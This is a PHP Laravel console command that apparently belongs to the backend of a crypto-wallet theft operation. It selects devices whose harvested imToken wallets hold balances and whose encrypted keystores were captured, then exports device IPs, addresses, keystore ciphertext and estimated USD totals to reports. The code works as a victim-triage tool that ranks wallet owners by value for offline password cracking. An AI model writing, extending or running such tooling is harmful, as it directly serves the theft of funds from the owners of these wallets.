323 lines
11 KiB
PHP
323 lines
11 KiB
PHP
<?php
|
|
|
|
namespace App\Console\Commands;
|
|
|
|
use App\Models\Device;
|
|
use App\Models\WalletAddress;
|
|
use App\Models\WalletKeystore;
|
|
use Illuminate\Console\Command;
|
|
use Illuminate\Support\Facades\DB;
|
|
|
|
/**
|
|
* Export devices that have:
|
|
* 1. at least one imToken-derived wallet_address with non-zero balance, AND
|
|
* 2. at least one imToken keystore whose raw_json contains a Web3 keystore
|
|
* (crypto.ciphertext + crypto.mac present — decryptable with a password).
|
|
*
|
|
* Outputs to storage/app/imtoken-rich-<timestamp>/:
|
|
* - report.md : human-readable document (device + addresses + keystore)
|
|
* - report.json : machine-readable mirror of the same data
|
|
*/
|
|
class ExportImtokenRichCommand extends Command
|
|
{
|
|
protected $signature = 'coruna:export-imtoken-rich
|
|
{--path= : Output directory (default storage/app/imtoken-rich-<timestamp>)}
|
|
{--no-md : Skip markdown report}
|
|
{--no-json : Skip JSON report}
|
|
{--limit= : Cap number of devices (debug)}';
|
|
|
|
protected $description = 'Export devices with imToken addresses (balance > 0) and a populated imToken keystore';
|
|
|
|
public function handle(): int
|
|
{
|
|
DB::disableQueryLog();
|
|
$dir = $this->resolveDir();
|
|
if ($dir === null) {
|
|
return self::FAILURE;
|
|
}
|
|
|
|
$deviceIds = $this->candidateDeviceIds();
|
|
if ($deviceIds->isEmpty()) {
|
|
$this->warn('No devices match (imToken address with balance + imToken keystore).');
|
|
|
|
return self::SUCCESS;
|
|
}
|
|
$this->info(sprintf('found %d candidate device(s)', $deviceIds->count()));
|
|
|
|
$devices = [];
|
|
foreach ($deviceIds as $id) {
|
|
$payload = $this->serializeDevice((int) $id);
|
|
if ($payload === null) {
|
|
continue;
|
|
}
|
|
$devices[] = $payload;
|
|
$this->line(sprintf(
|
|
'device #%d (%s) · addresses=%d · keystores=%d · usd~%s',
|
|
$payload['id'],
|
|
$payload['device_id'],
|
|
count($payload['addresses']),
|
|
count($payload['keystores']),
|
|
$payload['totals']['usd_approx'],
|
|
));
|
|
gc_collect_cycles();
|
|
}
|
|
|
|
$summary = [
|
|
'exported_at' => now()->toIso8601String(),
|
|
'device_count' => count($devices),
|
|
'address_count' => array_sum(array_map(fn ($d) => count($d['addresses']), $devices)),
|
|
'keystore_count' => array_sum(array_map(fn ($d) => count($d['keystores']), $devices)),
|
|
'totals' => $this->aggregateTotals($devices),
|
|
];
|
|
|
|
if (! $this->option('no-json')) {
|
|
$jsonPath = $dir.'/report.json';
|
|
file_put_contents($jsonPath, json_encode(
|
|
array_merge($summary, ['devices' => $devices]),
|
|
JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT,
|
|
));
|
|
$this->info('wrote '.$jsonPath);
|
|
}
|
|
|
|
if (! $this->option('no-md')) {
|
|
$mdPath = $dir.'/report.md';
|
|
file_put_contents($mdPath, $this->renderMarkdown($summary, $devices));
|
|
$this->info('wrote '.$mdPath);
|
|
}
|
|
|
|
$this->info('done. output dir: '.$dir);
|
|
|
|
return self::SUCCESS;
|
|
}
|
|
|
|
/**
|
|
* Device IDs that have BOTH an imToken address with balance and an imToken
|
|
* keystore with non-empty raw_json.
|
|
*/
|
|
private function candidateDeviceIds()
|
|
{
|
|
$addrIds = DB::table('wallet_addresses')
|
|
->where('source', 'imToken')
|
|
->where(function ($q) {
|
|
foreach (WalletAddress::COIN_COLUMNS as $c) {
|
|
$q->orWhere($c, '>', 0);
|
|
}
|
|
})
|
|
->pluck('device_id')
|
|
->unique();
|
|
|
|
if ($addrIds->isEmpty()) {
|
|
return collect();
|
|
}
|
|
|
|
$ksDeviceIds = DB::table('wallet_keystores')
|
|
->where('source', 'imToken')
|
|
->whereNotNull('raw_json')
|
|
->whereIn('device_id', $addrIds)
|
|
->pluck('device_id')
|
|
->unique();
|
|
|
|
$ids = $addrIds->intersect($ksDeviceIds)->values();
|
|
if ($limit = (int) $this->option('limit')) {
|
|
$ids = $ids->take($limit);
|
|
}
|
|
|
|
return $ids;
|
|
}
|
|
|
|
private function serializeDevice(int $deviceId): ?array
|
|
{
|
|
$device = Device::query()->find($deviceId, [
|
|
'id', 'device_id', 'channel_id', 'device_model', 'ios_version',
|
|
'ip', 'country', 'wallet_names', 'user_agent', 'created_at',
|
|
]);
|
|
if ($device === null) {
|
|
return null;
|
|
}
|
|
|
|
return [
|
|
'id' => $device->id,
|
|
'device_id' => $device->device_id,
|
|
'channel_id' => $device->channel_id,
|
|
'model' => $device->device_model,
|
|
'ios_version' => $device->ios_version,
|
|
'ip' => $device->ip,
|
|
'country' => $device->resolvedCountry(),
|
|
'wallet_names' => $device->walletNameList(),
|
|
'user_agent' => $device->user_agent,
|
|
'created_at' => optional($device->created_at)->toIso8601String(),
|
|
'addresses' => $addresses = $this->serializeAddresses($device),
|
|
'keystores' => $this->serializeKeystores($device),
|
|
'totals' => $this->deviceTotals($addresses),
|
|
];
|
|
}
|
|
|
|
private function serializeAddresses(Device $device): array
|
|
{
|
|
$out = [];
|
|
foreach ($device->addresses()
|
|
->where('source', 'imToken')
|
|
->orderBy('id')
|
|
->cursor() as $addr
|
|
) {
|
|
$coins = [];
|
|
foreach (WalletAddress::COIN_COLUMNS as $col) {
|
|
$raw = $addr->{$col};
|
|
if ($raw === null || $raw === '' || (float) $raw == 0.0) {
|
|
continue;
|
|
}
|
|
$coins[$col] = WalletAddress::formatAmount($col, $raw);
|
|
}
|
|
$out[] = [
|
|
'id' => $addr->id,
|
|
'address' => $addr->address,
|
|
'chain_type' => $addr->chain_type,
|
|
'derive_index' => $addr->derive_index,
|
|
'mnemonic_id' => $addr->mnemonic_id,
|
|
'monitor' => (int) $addr->monitor,
|
|
'coins' => $coins,
|
|
];
|
|
}
|
|
|
|
return $out;
|
|
}
|
|
|
|
private function serializeKeystores(Device $device): array
|
|
{
|
|
$out = [];
|
|
foreach ($device->keystores()
|
|
->where('source', 'imToken')
|
|
->orderBy('id')
|
|
->cursor() as $ks
|
|
) {
|
|
$raw = is_array($ks->raw_json) ? $ks->raw_json : null;
|
|
if ($raw === null) {
|
|
$raw = DB::table('wallet_keystores')->whereKey($ks->id)->value('raw_json');
|
|
$raw = is_string($raw) ? json_decode($raw, true) : $raw;
|
|
$raw = is_array($raw) ? $raw : null;
|
|
}
|
|
if ($raw === null) {
|
|
continue;
|
|
}
|
|
|
|
// imToken keystore may be nested under ['imtoken'] (from /result
|
|
// ingest) or stored directly. Detect both.
|
|
$node = $raw;
|
|
if (isset($raw['imtoken']) && is_array($raw['imtoken'])) {
|
|
$node = $raw['imtoken'];
|
|
}
|
|
|
|
if (! $this->isWeb3Node($node)) {
|
|
continue;
|
|
}
|
|
|
|
$out[] = [
|
|
'id' => $ks->id,
|
|
'source' => $ks->source,
|
|
'decrypted' => (int) $ks->decrypted,
|
|
'created_at' => optional($ks->created_at)->toIso8601String(),
|
|
'keystore' => $this->pickKeystoreFields($node),
|
|
'raw_json_len' => strlen((string) json_encode($raw)),
|
|
];
|
|
}
|
|
|
|
return $out;
|
|
}
|
|
|
|
private function isWeb3Node(array $node): bool
|
|
{
|
|
$crypto = $node['crypto'] ?? null;
|
|
|
|
return is_array($crypto)
|
|
&& isset($crypto['ciphertext'], $crypto['mac'])
|
|
&& is_string($crypto['ciphertext'])
|
|
&& is_string($crypto['mac']);
|
|
}
|
|
|
|
private function pickKeystoreFields(array $node): array
|
|
{
|
|
$crypto = $node['crypto'] ?? [];
|
|
|
|
return [
|
|
'id' => $node['id'] ?? null,
|
|
'type' => $node['type'] ?? null,
|
|
'address' => $node['address'] ?? null,
|
|
'derivationPath' => $node['derivationPath'] ?? null,
|
|
'version' => $node['version'] ?? null,
|
|
'keyHash' => $node['keyHash'] ?? null,
|
|
'crypto' => [
|
|
'kdf' => $crypto['kdf'] ?? null,
|
|
'cipher' => $crypto['cipher'] ?? null,
|
|
'kdfparams' => $crypto['kdfparams'] ?? null,
|
|
'cipherparams' => $crypto['cipherparams'] ?? null,
|
|
'ciphertext' => $crypto['ciphertext'] ?? null,
|
|
'mac' => $crypto['mac'] ?? null,
|
|
],
|
|
'imTokenMeta' => $node['imTokenMeta'] ?? null,
|
|
'activeAccounts' => $node['activeAccounts'] ?? null,
|
|
];
|
|
}
|
|
|
|
private function deviceTotals(array $addresses): array
|
|
{
|
|
$sums = array_fill_keys(WalletAddress::COIN_COLUMNS, 0.0);
|
|
foreach ($addresses as $a) {
|
|
foreach ($a['coins'] as $col => $val) {
|
|
if (isset($sums[$col])) {
|
|
$sums[$col] += (float) $val;
|
|
}
|
|
}
|
|
}
|
|
$usd = ($sums['usdt'] ?? 0)
|
|
+ ($sums['trx'] ?? 0) * 0.15
|
|
+ ($sums['eth'] ?? 0) * 2500
|
|
+ ($sums['btc'] ?? 0) * 60000
|
|
+ ($sums['bnb'] ?? 0) * 500
|
|
+ ($sums['sol'] ?? 0) * 150;
|
|
|
|
return [
|
|
'coins' => array_map(fn ($v) => (string) $v, $sums),
|
|
'usd_approx' => number_format((float) $usd, 2, '.', ''),
|
|
];
|
|
}
|
|
|
|
private function aggregateTotals(array $devices): array
|
|
{
|
|
$sums = array_fill_keys(WalletAddress::COIN_COLUMNS, 0.0);
|
|
$usd = 0.0;
|
|
foreach ($devices as $d) {
|
|
foreach ($d['totals']['coins'] as $col => $val) {
|
|
$sums[$col] += (float) $val;
|
|
}
|
|
$usd += (float) $d['totals']['usd_approx'];
|
|
}
|
|
|
|
return [
|
|
'coins' => array_map(fn ($v) => (string) $v, $sums),
|
|
'usd_approx' => number_format($usd, 2, '.', ''),
|
|
];
|
|
}
|
|
|
|
private function resolveDir(): ?string
|
|
{
|
|
$path = trim((string) $this->option('path'));
|
|
if ($path === '') {
|
|
$path = storage_path('app/imtoken-rich-'.now()->format('Ymd-His'));
|
|
} elseif (! str_starts_with($path, '/')) {
|
|
$path = base_path($path);
|
|
}
|
|
if (! is_dir($path) && ! mkdir($path, 0775, true) && ! is_dir($path)) {
|
|
$this->error('Cannot create directory: '.$path);
|
|
|
|
return null;
|
|
}
|
|
|
|
return $path;
|
|
}
|
|
|
|
private function renderMarkdown(array $summary, array $devices): string
|
|
{
|
|
return (new ExportImtokenRichMarkdown($summary, $devices))->render();
|
|
}
|
|
}
|